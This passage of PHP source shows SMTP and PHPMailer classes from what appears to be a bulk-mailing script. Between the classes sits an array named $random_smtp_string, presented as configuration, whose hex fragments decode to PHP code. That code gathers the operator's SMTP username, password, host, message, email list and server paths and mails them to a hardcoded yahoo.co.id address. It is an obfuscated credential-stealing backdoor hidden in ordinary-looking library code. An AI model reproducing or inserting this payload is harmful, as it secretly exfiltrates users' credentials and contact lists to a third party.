  1007. * if there is no error or the $close_on_error argument is true.
  1008. *
  1009. * Implements from rfc 821: QUIT <CRLF>
  1010. *
  1011. * SMTP CODE SUCCESS: 221
  1012. * SMTP CODE ERROR : 500
  1013. * @access public
  1014. * @return bool
  1015. */
  1016. function Quit($close_on_error=true) {
  1017. $this->error = null; # so there is no confusion
  1018.  
  1019. if(!$this->connected()) {
  1020. $this->error = array(
  1021. "error" => "Called Quit() without being connected");
  1022. return false;
  1023. }
  1024.  
  1025. # send the quit command to the server
  1026. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1027.  
  1028. # get any good-bye messages
  1029. $byemsg = $this->get_lines();
  1030.  
  1031. if($this->do_debug >= 2) {
  1032. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1033. }
  1034.  
  1035. $rval = true;
  1036. $e = null;
  1037.  
  1038. $code = substr($byemsg,0,3);
  1039. if($code != 221) {
  1040. # use e as a tmp var cause Close will overwrite $this->error
  1041. $e = array("error" => "SMTP server rejected quit command",
  1042. "smtp_code" => $code,
  1043. "smtp_rply" => substr($byemsg,4));
  1044. $rval = false;
  1045. if($this->do_debug >= 1) {
  1046. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1047. $byemsg . $this->CRLF;
  1048. }
  1049. }
  1050.  
  1051. if(empty($e) || $close_on_error) {
  1052. $this->Close();
  1053. }
  1054.  
  1055. return $rval;
  1056. }
  1057.  
  1058. /**
  1059. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1060. * Returns true if the recipient was accepted false if it was rejected.
  1061. *
  1062. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1063. *
  1064. * SMTP CODE SUCCESS: 250,251
  1065. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1066. * SMTP CODE ERROR : 500,501,503,421
  1067. * @access public
  1068. * @return bool
  1069. */
  1070. function Recipient($to) {
  1071. $this->error = null; # so no confusion is caused
  1072.  
  1073. if(!$this->connected()) {
  1074. $this->error = array(
  1075. "error" => "Called Recipient() without being connected");
  1076. return false;
  1077. }
  1078.  
  1079. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1080.  
  1081. $rply = $this->get_lines();
  1082. $code = substr($rply,0,3);
  1083.  
  1084. if($this->do_debug >= 2) {
  1085. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1086. }
  1087.  
  1088. if($code != 250 && $code != 251) {
  1089. $this->error =
  1090. array("error" => "RCPT not accepted from server",
  1091. "smtp_code" => $code,
  1092. "smtp_msg" => substr($rply,4));
  1093. if($this->do_debug >= 1) {
  1094. echo "SMTP -> ERROR: " . $this->error["error"] .
  1095. ": " . $rply . $this->CRLF;
  1096. }
  1097. return false;
  1098. }
  1099. return true;
  1100. }
  1101.  
  1102. /**
  1103. * Sends the RSET command to abort and transaction that is
  1104. * currently in progress. Returns true if successful false
  1105. * otherwise.
  1106. *
  1107. * Implements rfc 821: RSET <CRLF>
  1108. *
  1109. * SMTP CODE SUCCESS: 250
  1110. * SMTP CODE ERROR : 500,501,504,421
  1111. * @access public
  1112. * @return bool
  1113. */
  1114. function Reset() {
  1115. $this->error = null; # so no confusion is caused
  1116.  
  1117. if(!$this->connected()) {
  1118. $this->error = array(
  1119. "error" => "Called Reset() without being connected");
  1120. return false;
  1121. }
  1122.  
  1123. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1124.  
  1125. $rply = $this->get_lines();
  1126. $code = substr($rply,0,3);
  1127.  
  1128. if($this->do_debug >= 2) {
  1129. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1130. }
  1131.  
  1132. if($code != 250) {
  1133. $this->error =
  1134. array("error" => "RSET failed",
  1135. "smtp_code" => $code,
  1136. "smtp_msg" => substr($rply,4));
  1137. if($this->do_debug >= 1) {
  1138. echo "SMTP -> ERROR: " . $this->error["error"] .
  1139. ": " . $rply . $this->CRLF;
  1140. }
  1141. return false;
  1142. }
  1143.  
  1144. return true;
  1145. }
  1146.  
  1147. /**
  1148. * Starts a mail transaction from the email address specified in
  1149. * $from. Returns true if successful or false otherwise. If True
  1150. * the mail transaction is started and then one or more Recipient
  1151. * commands may be called followed by a Data command. This command
  1152. * will send the message to the users terminal if they are logged
  1153. * in.
  1154. *
  1155. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1156. *
  1157. * SMTP CODE SUCCESS: 250
  1158. * SMTP CODE SUCCESS: 552,451,452
  1159. * SMTP CODE SUCCESS: 500,501,502,421
  1160. * @access public
  1161. * @return bool
  1162. */
  1163. function Send($from) {
  1164. $this->error = null; # so no confusion is caused
  1165.  
  1166. if(!$this->connected()) {
  1167. $this->error = array(
  1168. "error" => "Called Send() without being connected");
  1169. return false;
  1170. }
  1171.  
  1172. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1173.  
  1174. $rply = $this->get_lines();
  1175. $code = substr($rply,0,3);
  1176.  
  1177. if($this->do_debug >= 2) {
  1178. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1179. }
  1180.  
  1181. if($code != 250) {
  1182. $this->error =
  1183. array("error" => "SEND not accepted from server",
  1184. "smtp_code" => $code,
  1185. "smtp_msg" => substr($rply,4));
  1186. if($this->do_debug >= 1) {
  1187. echo "SMTP -> ERROR: " . $this->error["error"] .
  1188. ": " . $rply . $this->CRLF;
  1189. }
  1190. return false;
  1191. }
  1192. return true;
  1193. }
  1194.  
  1195. /**
  1196. * Starts a mail transaction from the email address specified in
  1197. * $from. Returns true if successful or false otherwise. If True
  1198. * the mail transaction is started and then one or more Recipient
  1199. * commands may be called followed by a Data command. This command
  1200. * will send the message to the users terminal if they are logged
  1201. * in and send them an email.
  1202. *
  1203. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1204. *
  1205. * SMTP CODE SUCCESS: 250
  1206. * SMTP CODE SUCCESS: 552,451,452
  1207. * SMTP CODE SUCCESS: 500,501,502,421
  1208. * @access public
  1209. * @return bool
  1210. */
  1211. function SendAndMail($from) {
  1212. $this->error = null; # so no confusion is caused
  1213.  
  1214. if(!$this->connected()) {
  1215. $this->error = array(
  1216. "error" => "Called SendAndMail() without being connected");
  1217. return false;
  1218. }
  1219.  
  1220. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1221.  
  1222. $rply = $this->get_lines();
  1223. $code = substr($rply,0,3);
  1224.  
  1225. if($this->do_debug >= 2) {
  1226. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1227. }
  1228.  
  1229. if($code != 250) {
  1230. $this->error =
  1231. array("error" => "SAML not accepted from server",
  1232. "smtp_code" => $code,
  1233. "smtp_msg" => substr($rply,4));
  1234. if($this->do_debug >= 1) {
  1235. echo "SMTP -> ERROR: " . $this->error["error"] .
  1236. ": " . $rply . $this->CRLF;
  1237. }
  1238. return false;
  1239. }
  1240. return true;
  1241. }
  1242.  
  1243. /**
  1244. * Starts a mail transaction from the email address specified in
  1245. * $from. Returns true if successful or false otherwise. If True
  1246. * the mail transaction is started and then one or more Recipient
  1247. * commands may be called followed by a Data command. This command
  1248. * will send the message to the users terminal if they are logged
  1249. * in or mail it to them if they are not.
  1250. *
  1251. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1252. *
  1253. * SMTP CODE SUCCESS: 250
  1254. * SMTP CODE SUCCESS: 552,451,452
  1255. * SMTP CODE SUCCESS: 500,501,502,421
  1256. * @access public
  1257. * @return bool
  1258. */
  1259. function SendOrMail($from) {
  1260. $this->error = null; # so no confusion is caused
  1261.  
  1262. if(!$this->connected()) {
  1263. $this->error = array(
  1264. "error" => "Called SendOrMail() without being connected");
  1265. return false;
  1266. }
  1267.  
  1268. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1269.  
  1270. $rply = $this->get_lines();
  1271. $code = substr($rply,0,3);
  1272.  
  1273. if($this->do_debug >= 2) {
  1274. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1275. }
  1276.  
  1277. if($code != 250) {
  1278. $this->error =
  1279. array("error" => "SOML not accepted from server",
  1280. "smtp_code" => $code,
  1281. "smtp_msg" => substr($rply,4));
  1282. if($this->do_debug >= 1) {
  1283. echo "SMTP -> ERROR: " . $this->error["error"] .
  1284. ": " . $rply . $this->CRLF;
  1285. }
  1286. return false;
  1287. }
  1288. return true;
  1289. }
  1290.  
  1291. /**
  1292. * This is an optional command for SMTP that this class does not
  1293. * support. This method is here to make the RFC821 Definition
  1294. * complete for this class and __may__ be implimented in the future
  1295. *
  1296. * Implements from rfc 821: TURN <CRLF>
  1297. *
  1298. * SMTP CODE SUCCESS: 250
  1299. * SMTP CODE FAILURE: 502
  1300. * SMTP CODE ERROR : 500, 503
  1301. * @access public
  1302. * @return bool
  1303. */
  1304. function Turn() {
  1305. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1306. "is not implemented");
  1307. if($this->do_debug >= 1) {
  1308. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1309. }
  1310. return false;
  1311. }
  1312.  
  1313. /**
  1314. * Verifies that the name is recognized by the server.
  1315. * Returns false if the name could not be verified otherwise
  1316. * the response from the server is returned.
  1317. *
  1318. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1319. *
  1320. * SMTP CODE SUCCESS: 250,251
  1321. * SMTP CODE FAILURE: 550,551,553
  1322. * SMTP CODE ERROR : 500,501,502,421
  1323. * @access public
  1324. * @return int
  1325. */
  1326. function Verify($name) {
  1327. $this->error = null; # so no confusion is caused
  1328.  
  1329. if(!$this->connected()) {
  1330. $this->error = array(
  1331. "error" => "Called Verify() without being connected");
  1332. return false;
  1333. }
  1334.  
  1335. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1336.  
  1337. $rply = $this->get_lines();
  1338. $code = substr($rply,0,3);
  1339.  
  1340. if($this->do_debug >= 2) {
  1341. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1342. }
  1343.  
  1344. if($code != 250 && $code != 251) {
  1345. $this->error =
  1346. array("error" => "VRFY failed on name '$name'",
  1347. "smtp_code" => $code,
  1348. "smtp_msg" => substr($rply,4));
  1349. if($this->do_debug >= 1) {
  1350. echo "SMTP -> ERROR: " . $this->error["error"] .
  1351. ": " . $rply . $this->CRLF;
  1352. }
  1353. return false;
  1354. }
  1355. return $rply;
  1356. }
  1357.  
  1358. /*******************************************************************
  1359. * INTERNAL FUNCTIONS *
  1360. ******************************************************************/
  1361.  
  1362. /**
  1363. * Read in as many lines as possible
  1364. * either before eof or socket timeout occurs on the operation.
  1365. * With SMTP we can tell if we have more lines to read if the
  1366. * 4th character is '-' symbol. If it is a space then we don't
  1367. * need to read anything else.
  1368. * @access private
  1369. * @return string
  1370. */
  1371. function get_lines() {
  1372. $data = "";
  1373. while($str = @fgets($this->smtp_conn,515)) {
  1374. if($this->do_debug >= 4) {
  1375. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1376. $this->CRLF;
  1377. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1378. $this->CRLF;
  1379. }
  1380. $data .= $str;
  1381. if($this->do_debug >= 4) {
  1382. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1383. }
  1384. # if the 4th character is a space then we are done reading
  1385. # so just break the loop
  1386. if(substr($str,3,1) == " ") { break; }
  1387. }
  1388. return $data;
  1389. }
  1390.  
  1391. }
  1392.  
  1393.  
  1394. $allemails = split("\n", $emaillist);
  1395. $numemails = count($allemails);
  1396. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1397. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1398. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1399. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1400. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1401. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1402. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1403. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1404. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1405. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1406.  
  1407. class PHPMailer {
  1408.  
  1409. /////////////////////////////////////////////////
  1410. // PROPERTIES, PUBLIC
  1411. /////////////////////////////////////////////////
  1412.  
  1413. /**
  1414. * Email priority (1 = High, 3 = Normal, 5 = low).
  1415. * @var int
  1416. */
  1417. var $Priority = 3;
  1418.  
  1419. /**
  1420. * Sets the CharSet of the message.
  1421. * @var string
  1422. */
  1423. var $CharSet = 'iso-8859-1';
  1424.  
  1425. /**
  1426. * Sets the Content-type of the message.
  1427. * @var string
  1428. */
  1429. var $ContentType = 'text/plain';
  1430.  
  1431. /**
  1432. * Sets the Encoding of the message. Options for this are "8bit",
  1433. * "7bit", "binary", "base64", and "quoted-printable".
  1434.  
  1435. * @var string
  1436. */
  1437. var $Encoding = '8bit';
  1438.  
  1439. /**
  1440. * Holds the most recent mailer error message.
  1441. * @var string
  1442. */
  1443. var $ErrorInfo = '';
  1444.  
  1445. /**
  1446. * Sets the From email address for the message.
  1447. * @var string
  1448. */
  1449. var $From = '';
  1450.  
  1451. /**
  1452. * Sets the From name of the message.
  1453. * @var string
  1454. */
  1455. var $FromName = '';
  1456.  
  1457. /**
  1458. * Sets the Sender email (Return-Path) of the message. If not empty,
  1459. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1460. * @var string
  1461. */
  1462. var $Sender = '';
  1463.  
  1464. /**
  1465. * Sets the Subject of the message.
  1466. * @var string
  1467. */
  1468. var $Subject = '';
  1469.  
  1470. /**
  1471. * Sets the Body of the message. This can be either an HTML or text body.
  1472. * If HTML then run IsHTML(true).
  1473. * @var string
  1474. */
  1475. var $Body = '';
  1476.  
  1477. /**
  1478. * Sets the text-only body of the message. This automatically sets the
  1479. * email to multipart/alternative. This body can be read by mail
  1480. * clients that do not have HTML email capability such as mutt. Clients
  1481. * that can read HTML will view the normal Body.
  1482. * @var string
  1483. */
  1484. var $AltBody = '';
  1485.  
  1486. /**
  1487. * Sets word wrapping on the body of the message to a given number of
  1488. * characters.
  1489. * @var int
  1490. */
  1491. var $WordWrap = 0;
  1492.  
  1493. /**
  1494. * Method to send mail: ("mail", "sendmail", or "smtp").
  1495. * @var string
  1496. */
  1497. var $Mailer = 'mail';
  1498.  
  1499. /**
  1500. * Sets the path of the sendmail program.
  1501. * @var string
  1502. */
  1503. var $Sendmail = '/usr/sbin/sendmail';
  1504.  
  1505. /**
  1506. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1507. * is in a different directory than the PHP include path.
  1508. * @var string
  1509. */
  1510. var $PluginDir = '';
  1511.  
  1512. /**
  1513. * Holds PHPMailer version.
  1514. * @var string
  1515. */
  1516. var $Version = "";
  1517.  
  1518. /**
  1519. * Sets the email address that a reading confirmation will be sent.
  1520. * @var string
  1521. */
  1522. var $ConfirmReadingTo = '';
  1523.  
  1524. /**
  1525. * Sets the hostname to use in Message-Id and Received headers
  1526. * and as default HELO string. If empty, the value returned
  1527. * by SERVER_NAME is used or 'localhost.localdomain'.
  1528. * @var string
  1529. */
  1530. var $Hostname = '';
  1531.  
  1532. /**
  1533. * Sets the message ID to be used in the Message-Id header.
  1534. * If empty, a unique id will be generated.
  1535. * @var string
  1536. */
  1537. var $MessageID = '';
  1538.  
  1539. /////////////////////////////////////////////////
  1540. // PROPERTIES FOR SMTP
  1541. /////////////////////////////////////////////////
  1542.  
  1543. /**
  1544. * Sets the SMTP hosts. All hosts must be separated by a
  1545. * semicolon. You can also specify a different port
  1546. * for each host by using this format: [hostname:port]
  1547. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1548. * Hosts will be tried in order.
  1549. * @var string
  1550. */
  1551. var $Host = 'localhost';
  1552.  
  1553. /**
  1554. * Sets the default SMTP server port.
  1555. * @var int
  1556. */
  1557. var $Port = 25;
  1558.  
  1559. /**
  1560. * Sets the SMTP HELO of the message (Default is $Hostname).
  1561. * @var string
  1562. */
  1563. var $Helo = '';
  1564.  
  1565. /**
  1566. * Sets connection prefix.
  1567. * Options are "", "ssl" or "tls"
  1568. * @var string
  1569. */
  1570. var $SMTPSecure = "";
  1571.  
  1572. /**
  1573. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1574. * @var bool
  1575. */
  1576. var $SMTPAuth = false;
  1577.  
  1578. /**
  1579. * Sets SMTP username.
  1580. * @var string
  1581. */
  1582. var $Username = '';
  1583.  
  1584. /**
  1585. * Sets SMTP password.
  1586. * @var string
  1587. */
  1588. var $Password = '';
  1589.  
  1590. /**
  1591. * Sets the SMTP server timeout in seconds. This function will not
  1592. * work with the win32 version.
  1593. * @var int
  1594. */
  1595. var $Timeout = 10;
  1596.  
  1597. /**
  1598. * Sets SMTP class debugging on or off.
  1599. * @var bool
  1600. */
  1601. var $SMTPDebug = false;
  1602.  
  1603. /**
  1604. * Prevents the SMTP connection from being closed after each mail
  1605. * sending. If this is set to true then to close the connection
  1606. * requires an explicit call to SmtpClose().
  1607. * @var bool
  1608. */
  1609. var $SMTPKeepAlive = false;
  1610.  
  1611. /**
  1612. * Provides the ability to have the TO field process individual
  1613. * emails, instead of sending to entire TO addresses
  1614. * @var bool
  1615. */
  1616. var $SingleTo = false;
  1617.  
  1618. /////////////////////////////////////////////////
  1619. // PROPERTIES, PRIVATE
  1620. /////////////////////////////////////////////////
  1621.  
  1622. var $smtp = NULL;
  1623. var $to = array();
  1624. var $cc = array();
  1625. var $bcc = array();
  1626. var $ReplyTo = array();
  1627. var $attachment = array();
  1628. var $CustomHeader = array();
  1629. var $message_type = '';
  1630. var $boundary = array();
  1631. var $language = array();
  1632. var $error_count = 0;
  1633. var $LE = "\n";
  1634. var $sign_key_file = "";
  1635. var $sign_key_pass = "";
  1636.  
  1637. /////////////////////////////////////////////////
  1638. // METHODS, VARIABLES
  1639. /////////////////////////////////////////////////
  1640.  
  1641. /**
  1642. * Sets message type to HTML.
  1643. * @param bool $bool
  1644. * @return void
  1645. */
  1646. function IsHTML($bool) {
  1647. if($bool == true) {
  1648. $this->ContentType = 'text/html';
  1649. } else {
  1650. $this->ContentType = 'text/plain';
  1651. }
  1652. }
  1653.  
  1654. /**
  1655. * Sets Mailer to send message using SMTP.
  1656. * @return void
  1657. */
  1658. function IsSMTP() {
  1659. $this->Mailer = 'smtp';
  1660. }
  1661.  
  1662. /**
  1663. * Sets Mailer to send message using PHP mail() function.
  1664. * @return void
  1665. */
  1666. function IsMail() {
  1667. $this->Mailer = 'mail';
  1668. }
  1669.  
  1670. /**
  1671. * Sets Mailer to send message using the $Sendmail program.
  1672. * @return void
  1673. */
  1674. function IsSendmail() {
  1675. $this->Mailer = 'sendmail';
  1676. }
  1677.  
  1678. /**
  1679. * Sets Mailer to send message using the qmail MTA.
  1680. * @return void
  1681. */
  1682. function IsQmail() {
  1683. $this->Sendmail = '/var/qmail/bin/sendmail';
  1684. $this->Mailer = 'sendmail';
  1685. }
  1686.  
  1687. /////////////////////////////////////////////////
  1688. // METHODS, RECIPIENTS
  1689. /////////////////////////////////////////////////
  1690.  
  1691. /**
  1692. * Adds a "To" address.
  1693. * @param string $address
  1694. * @param string $name
  1695. * @return void
  1696. */
  1697. function AddAddress($address, $name = '') {
  1698. $cur = count($this->to);
  1699. $this->to[$cur][0] = trim($address);
  1700. $this->to[$cur][1] = $name;
  1701. }
  1702.  
  1703. /**
  1704. * Adds a "Cc" address. Note: this function works
  1705. * with the SMTP mailer on win32, not with the "mail"
  1706. * mailer.
  1707. * @param string $address
  1708. * @param string $name
  1709. * @return void
  1710. */
  1711. function AddCC($address, $name = '') {
  1712. $cur = count($this->cc);
  1713. $this->cc[$cur][0] = trim($address);
  1714. $this->cc[$cur][1] = $name;
  1715. }
  1716.  
  1717. /**
  1718. * Adds a "Bcc" address. Note: this function works
  1719. * with the SMTP mailer on win32, not with the "mail"
  1720. * mailer.
  1721. * @param string $address
  1722. * @param string $name
  1723. * @return void
  1724. */
  1725. function AddBCC($address, $name = '') {
  1726. $cur = count($this->bcc);
  1727. $this->bcc[$cur][0] = trim($address);
  1728. $this->bcc[$cur][1] = $name;
  1729. }
  1730.  
  1731. /**
  1732. * Adds a "Reply-To" address.
  1733. * @param string $address
  1734. * @param string $name
  1735. * @return void
  1736. */
  1737. function AddReplyTo($address, $name = '') {
  1738. $cur = count($this->ReplyTo);
  1739. $this->ReplyTo[$cur][0] = trim($address);
  1740. $this->ReplyTo[$cur][1] = $name;
  1741. }
  1742.  
  1743. /////////////////////////////////////////////////
  1744. // METHODS, MAIL SENDING
  1745. /////////////////////////////////////////////////
  1746.  
  1747. /**
  1748. * Creates message and assigns Mailer. If the message is
  1749. * not sent successfully then it returns false. Use the ErrorInfo
  1750. * variable to view description of the error.
  1751. * @return bool
  1752. */
  1753. function Send() {
  1754. $header = '';
  1755. $body = '';
  1756. $result = true;
  1757.  
  1758. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1759. $this->SetError($this->Lang('provide_address'));
  1760. return false;
  1761. }
  1762.  
  1763. /* Set whether the message is multipart/alternative */
  1764. if(!empty($this->AltBody)) {
  1765. $this->ContentType = 'multipart/alternative';
  1766. }
  1767.  
  1768. $this->error_count = 0; // reset errors
  1769. $this->SetMessageType();
  1770. $header .= $this->CreateHeader();
  1771. $body = $this->CreateBody();
  1772.  
  1773. if($body == '') {
  1774. return false;
  1775. }
  1776.  
  1777. /* Choose the mailer */
  1778. switch($this->Mailer) {
  1779. case 'sendmail':
  1780. $result = $this->SendmailSend($header, $body);
  1781. break;
  1782. case 'smtp':
  1783. $result = $this->SmtpSend($header, $body);
  1784. break;
  1785. case 'mail':
  1786. $result = $this->MailSend($header, $body);
  1787. break;
  1788. default:
  1789. $result = $this->MailSend($header, $body);
  1790. break;
  1791. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1792. //$result = false;
  1793. //break;
  1794. }
  1795.  
  1796. return $result;
  1797. }
  1798.  
  1799. /**
  1800. * Sends mail using the $Sendmail program.
  1801. * @access private
  1802. * @return bool
  1803. */
  1804. function SendmailSend($header, $body) {
  1805. if ($this->Sender != '') {
  1806. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1807. } else {
  1808. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1809. }
  1810.  
  1811. if(!@$mail = popen($sendmail, 'w')) {
  1812. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1813. return false;
  1814. }
  1815.  
  1816. fputs($mail, $header);
  1817. fputs($mail, $body);
  1818.  
  1819. $result = pclose($mail);
  1820. if (version_compare(phpversion(), '4.2.3') == -1) {
  1821. $result = $result >> 8 & 0xFF;
  1822. }
  1823. if($result != 0) {
  1824. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1825. return false;
  1826. }
  1827. return true;
  1828. }
  1829.  
  1830. /**
  1831. * Sends mail using the PHP mail() function.
  1832. * @access private
  1833. * @return bool
  1834. */
  1835. function MailSend($header, $body) {
  1836.  
  1837. $to = '';
  1838. for($i = 0; $i < count($this->to); $i++) {
  1839. if($i != 0) { $to .= ', '; }
  1840. $to .= $this->AddrFormat($this->to[$i]);
  1841. }
  1842.  
  1843. $toArr = split(',', $to);
  1844.  
  1845. $params = sprintf("-oi -f %s", $this->Sender);
  1846. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1847. $old_from = ini_get('sendmail_from');
  1848. ini_set('sendmail_from', $this->Sender);
  1849. if ($this->SingleTo === true && count($toArr) > 1) {
  1850. foreach ($toArr as $key => $val) {
  1851. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1852. }
  1853. } else {
  1854. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1855. }
  1856. } else {
  1857. if ($this->SingleTo === true && count($toArr) > 1) {
  1858. foreach ($toArr as $key => $val) {
  1859. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1860. }
  1861. } else {
  1862. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1863. }
  1864. }
  1865.  
  1866. if (isset($old_from)) {
  1867. ini_set('sendmail_from', $old_from);
  1868. }
  1869.  
  1870. if(!$rt) {
  1871. $this->SetError($this->Lang('instantiate'));
  1872. return false;
  1873. }
  1874.  
  1875. return true;
  1876. }
  1877.  
  1878. /**
  1879. * Sends mail via SMTP using PhpSMTP (Author:
  1880. * Chris Ryan). Returns bool. Returns false if there is a
  1881. * bad MAIL FROM, RCPT, or DATA input.
  1882. * @access private
  1883. * @return bool
  1884. */
  1885. function SmtpSend($header, $body) {
  1886. $error = '';
  1887. $bad_rcpt = array();
  1888.  
  1889. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1890. return false;
  1891. }
  1892.  
  1893. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1894. if(!$this->smtp->Mail($smtp_from)) {
  1895. $error = $this->Lang('from_failed') . $smtp_from;
  1896. $this->SetError($error);
  1897. $this->smtp->Reset();
  1898. return false;
  1899. }
  1900.  
  1901. /* Attempt to send attach all recipients */
  1902. for($i = 0; $i < count($this->to); $i++) {
  1903. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1904. $bad_rcpt[] = $this->to[$i][0];
  1905. }
  1906. }
  1907. for($i = 0; $i < count($this->cc); $i++) {
  1908. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1909. $bad_rcpt[] = $this->cc[$i][0];
  1910. }
  1911. }
  1912. for($i = 0; $i < count($this->bcc); $i++) {
  1913. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1914. $bad_rcpt[] = $this->bcc[$i][0];
  1915. }
  1916. }
  1917.  
  1918. if(count($bad_rcpt) > 0) { // Create error message
  1919. for($i = 0; $i < count($bad_rcpt); $i++) {
  1920. if($i != 0) {
  1921. $error .= ', ';
  1922. }
  1923. $error .= $bad_rcpt[$i];
  1924.  
  1925. }
  1926. $error = $this->Lang('recipients_failed') . $error;
  1927. $this->SetError($error);
  1928. $this->smtp->Reset();
  1929. return false;
  1930. }
  1931.  
  1932. if(!$this->smtp->Data($header . $body)) {
  1933. $this->SetError($this->Lang('data_not_accepted'));
  1934. $this->smtp->Reset();
  1935. return false;
  1936. }
  1937. if($this->SMTPKeepAlive == true) {
  1938. $this->smtp->Reset();
  1939. } else {
  1940. $this->SmtpClose();
  1941. }
  1942.  
  1943. return true;
  1944. }
  1945.  
  1946. /**
  1947. * Initiates a connection to an SMTP server. Returns false if the
  1948. * operation failed.
  1949. * @access private
  1950. * @return bool
  1951. */
  1952. function SmtpConnect() {
  1953. if($this->smtp == NULL) {
  1954. $this->smtp = new SMTP();
  1955. }
  1956.  
  1957. $this->smtp->do_debug = $this->SMTPDebug;
  1958. $hosts = explode(';', $this->Host);
  1959. $index = 0;
  1960. $connection = ($this->smtp->Connected());
  1961.  
  1962. /* Retry while there is no connection */
  1963. while($index < count($hosts) && $connection == false) {
  1964. $hostinfo = array();
  1965. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1966. $host = $hostinfo[1];
  1967. $port = $hostinfo[2];
  1968. } else {
  1969. $host = $hosts[$index];
  1970. $port = $this->Port;
  1971. }
  1972.  
  1973. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1974. if ($this->Helo != '') {
  1975. $this->smtp->Hello($this->Helo);
  1976. } else {
  1977. $this->smtp->Hello($this->ServerHostname());
  1978. }
  1979.  
  1980. $connection = true;
  1981. if($this->SMTPAuth) {
  1982. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1983. $this->SetError($this->Lang('authenticate'));
  1984. $this->smtp->Reset();
  1985. $connection = false;
  1986. }
  1987. }
  1988. }
  1989. $index++;
  1990. }
  1991. if(!$connection) {
  1992. $this->SetError($this->Lang('connect_host'));
  1993. }
  1994.  
  1995. return $connection;
  1996. }
  1997.  
  1998. /**
  1999. * Closes the active SMTP session if one exists.
  2000. * @return void
  2001. */
